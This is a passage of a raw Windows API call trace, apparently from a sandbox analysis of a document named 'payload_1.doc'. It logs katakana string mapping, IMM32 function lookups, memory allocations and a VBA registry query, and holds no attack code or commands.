lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="カ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ガ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="キ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ギ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ク", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="グ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ケ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゲ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="コ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="サ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ザ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="シ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ジ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ス", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ズ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="セ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゼ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ソ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゾ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="タ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ダ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="チ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヂ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ッ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ツ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.927] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="テ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="デ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ト", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ド", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ナ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ニ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヌ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ネ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ノ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ハ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="バ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="パ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヒ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ビ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ピ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="フ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ブ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="プ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヘ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ベ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ペ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ホ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ボ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ポ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="マ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ミ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ム", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="メ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="モ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ャ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヤ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ュ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ユ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ョ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.928] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヨ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ラ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="リ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ル", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="レ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ロ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヮ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ワ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヰ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヱ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヲ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ン", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヵ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヶ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヷ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヸ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヹ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヺ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="・", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ー", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヽ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヾ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0092.929] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヿ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.932] GetUserDefaultLangID () returned 0x411 [0092.932] GetSystemDefaultLangID () returned 0x409 [0092.932] GetSystemDirectoryA (in: lpBuffer=0xb5690f4bb0, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0092.932] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x105, _Source="\\" | out: _Destination="C:\\WINDOWS\\system32\\") returned 0x0 [0092.932] SetErrorMode (uMode=0x8000) returned 0x8005 [0092.932] strcpy_s (in: _Dst=0xb5690f4cc0, _DstSize=0x105, _Src="C:\\WINDOWS\\system32\\" | out: _Dst="C:\\WINDOWS\\system32\\") returned 0x0 [0092.933] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\", _SizeInBytes=0x105, _Source="IMM32.DLL" | out: _Destination="C:\\WINDOWS\\system32\\IMM32.DLL") returned 0x0 [0092.933] LoadLibraryA (lpLibFileName="C:\\WINDOWS\\system32\\IMM32.DLL") returned 0x7ff9e7990000 [0092.934] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad0000016c) returned 1 [0092.934] SetErrorMode (uMode=0x8005) returned 0x8004 [0092.934] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmCreateContext") returned 0x7ff9e79989d0 [0092.935] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmDestroyContext") returned 0x7ff9e7998a60 [0092.935] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetContext") returned 0x7ff9e79933d0 [0092.936] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmReleaseContext") returned 0x7ff9e7995260 [0092.936] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmAssociateContext") returned 0x7ff9e79986f0 [0092.937] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetConversionStatus") returned 0x7ff9e7993190 [0092.937] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetConversionStatus") returned 0x7ff9e799ac20 [0092.937] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetOpenStatus") returned 0x7ff9e79930c0 [0092.938] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetOpenStatus") returned 0x7ff9e799ad60 [0092.938] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetCompositionFontA") returned 0x7ff9e799a4c0 [0092.939] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetCompositionStringA") returned 0x7ff9e799a640 [0092.939] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetCompositionStringA") returned 0x7ff9e7999900 [0092.940] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetCompositionWindow") returned 0x7ff9e7991300 [0092.940] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmEscapeA") returned 0x7ff9e799d320 [0092.940] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmIsIME") returned 0x7ff9e7991120 [0092.941] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetCandidateWindow") returned 0x7ff9e799a3f0 [0092.941] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmNotifyIME") returned 0x7ff9e799da40 [0092.942] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetDefaultIMEWnd") returned 0x7ff9e7994fa0 [0092.942] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2764b1899d0 [0092.942] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2764ae90c20 [0092.942] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20000) returned 0x2764b59e020 [0092.942] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b224150 [0092.942] GetStockObject (i=13) returned 0x8a01c2 [0092.942] GetObjectA (in: h=0x8a01c2, c=60, pv=0xb5690f4e20 | out: pv=0xb5690f4e20) returned 60 [0092.942] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x7d8) returned 0x2764ad9e3b0 [0092.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7.1\\Common", cchWideChar=-1, lpMultiByteStr=0x2764ad9e3bc, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.1\\Common", lpUsedDefaultChar=0x0) returned 11 [0092.943] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x98) returned 0x2764b1ad350 [0092.943] VirtualQuery (in: lpAddress=0xb5690f4fa0, lpBuffer=0xb5690f4f60, dwLength=0x30 | out: lpBuffer=0xb5690f4f60*(BaseAddress=0xb5690f4000, AllocationBase=0xb569000000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0092.943] CreateCompatibleDC (hdc=0x0) returned 0x6201031a [0092.943] GetCurrentObject (hdc=0x6201031a, type=0x7) returned 0x85000f [0092.943] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b224030 [0092.943] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b223ca0 [0093.340] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 37 [0093.340] malloc (_Size=0x26) returned 0x276499707f0 [0093.340] malloc (_Size=0x26) returned 0x27649976040 [0093.340] lstrcpyA (in: lpString1=0x276499707f0, lpString2="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" [0093.341] SetCursor (hCursor=0x10007) returned 0x10007 [0093.341] strnlen (_Str="C:\\Users\\FD1HVy\\Desktop", _MaxCount=0x7fffffff) returned 0x17 [0093.341] malloc (_Size=0x18) returned 0x27649976de0 [0093.342] malloc (_Size=0x18) returned 0x27649976f20 [0093.342] lstrcpynA (in: lpString1=0x27649976de0, lpString2="C:\\Users\\FD1HVy\\Desktop", iMaxLength=24 | out: lpString1="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0093.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x4) returned 0x2764ae9e9d0 [0093.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xf0) returned 0x2764b4112f0 [0093.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa1650 [0093.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1078) returned 0x2764b531550 [0093.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa08) returned 0x2764b5325d0 [0093.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1740) returned 0x2764b608030 [0093.371] GetLocalTime (in: lpSystemTime=0xb5690f4e68 | out: lpSystemTime=0xb5690f4e68*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x30, wMilliseconds=0xa)) [0093.371] _ultow_s (in: _Value=0x612782e8, _Buffer=0x2764b53157a, _BufferCount=0x7ff, _Radix=16 | out: _Buffer="612782e8") returned 0x0 [0093.371] wcsncpy_s (in: _Destination=0xb5690f4b30, _SizeInWords=0x108, _Source="*\\Z00612782e8", _MaxCount=0x106 | out: _Destination="*\\Z00612782e8") returned 0x0 [0093.371] CharLowerBuffW (in: lpsz="*\\Z00612782e8", cchLength=0xd | out: lpsz="*\\z00612782e8") returned 0xd [0093.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z00612782e8", cchWideChar=14, lpMultiByteStr=0xb5690f4a60, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z00612782e8", lpUsedDefaultChar=0x0) returned 14 [0093.371] wcscpy_s (in: _Destination=0x2764afa1670, _SizeInWords=0xe, _Source="*\\Z00612782e8" | out: _Destination="*\\Z00612782e8") returned 0x0 [0093.371] wcsncpy_s (in: _Destination=0xb5690f4b70, _SizeInWords=0x108, _Source="*\\Z00612782e8", _MaxCount=0x106 | out: _Destination="*\\Z00612782e8") returned 0x0 [0093.371] CharLowerBuffW (in: lpsz="*\\Z00612782e8", cchLength=0xd | out: lpsz="*\\z00612782e8") returned 0xd [0093.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z00612782e8", cchWideChar=14, lpMultiByteStr=0xb5690f4aa0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z00612782e8", lpUsedDefaultChar=0x0) returned 14 [0093.372] lstrcpyA (in: lpString1=0x27649976040, lpString2="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" [0093.372] lstrcpyA (in: lpString1=0x27649976040, lpString2="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" [0093.372] lstrcpyA (in: lpString1=0x27649976040, lpString2="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" [0093.372] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0xb5690f43f0 | out: phkResult=0xb5690f43f0*=0x129c) returned 0x0 [0093.372] RegQueryValueExA (in: hKey=0x129c, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0xb5690f43e8, lpcbData=0xb5690f43e0*=0x4 | out: lpType=0x0, lpData=0xb5690f43e8*=0xc0, lpcbData=0xb5690f43e0*=0x4) returned 0x2 [0093.372] RegCloseKey (hKey=0x129c) returned 0x0 [0093.373] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0093.373] wcscpy_s (in: _Destination=0xb5690f4496, _SizeInWords=0x801, _Source="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc" | out: _Destination="C:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.373] wcsncpy_s (in: _Destination=0xb5690f40a0, _SizeInWords=0x108, _Source="*\\Z00612782e8", _MaxCount=0x106 | out: _Destination="*\\Z00612782e8") returned 0x0 [0093.373] CharLowerBuffW (in: lpsz="*\\Z00612782e8", cchLength=0xd | out: lpsz="*\\z00612782e8") returned 0xd [0093.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z00612782e8", cchWideChar=14, lpMultiByteStr=0xb5690f3fd0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z00612782e8", lpUsedDefaultChar=0x0) returned 14 [0093.374] _wcsicmp (_String1="*\\Z00612782e8", _String2="*\\Z00612782e8") returned 0 [0093.374] wcsncpy_s (in: _Destination=0xb5690f40a0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.374] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3fd0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.374] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa1650, cb=0x100) returned 0x2764b423090 [0093.374] wcscpy_s (in: _Destination=0x2764b4230d0, _SizeInWords=0x29, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc" | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.374] wcsncpy_s (in: _Destination=0xb5690f40a0, _SizeInWords=0x108, _Source="*\\Z00612782e8", _MaxCount=0x106 | out: _Destination="*\\Z00612782e8") returned 0x0 [0093.374] CharLowerBuffW (in: lpsz="*\\Z00612782e8", cchLength=0xd | out: lpsz="*\\z00612782e8") returned 0xd [0093.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z00612782e8", cchWideChar=14, lpMultiByteStr=0xb5690f3fd0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z00612782e8", lpUsedDefaultChar=0x0) returned 14 [0093.374] _wcsicmp (_String1="*\\Z00612782e8", _String2="*\\Z00612782e8") returned 0 [0093.374] wcsncpy_s (in: _Destination=0xb5690f40e0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.374] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.374] WideCharToMultiByte (in: CodePage=0x0, 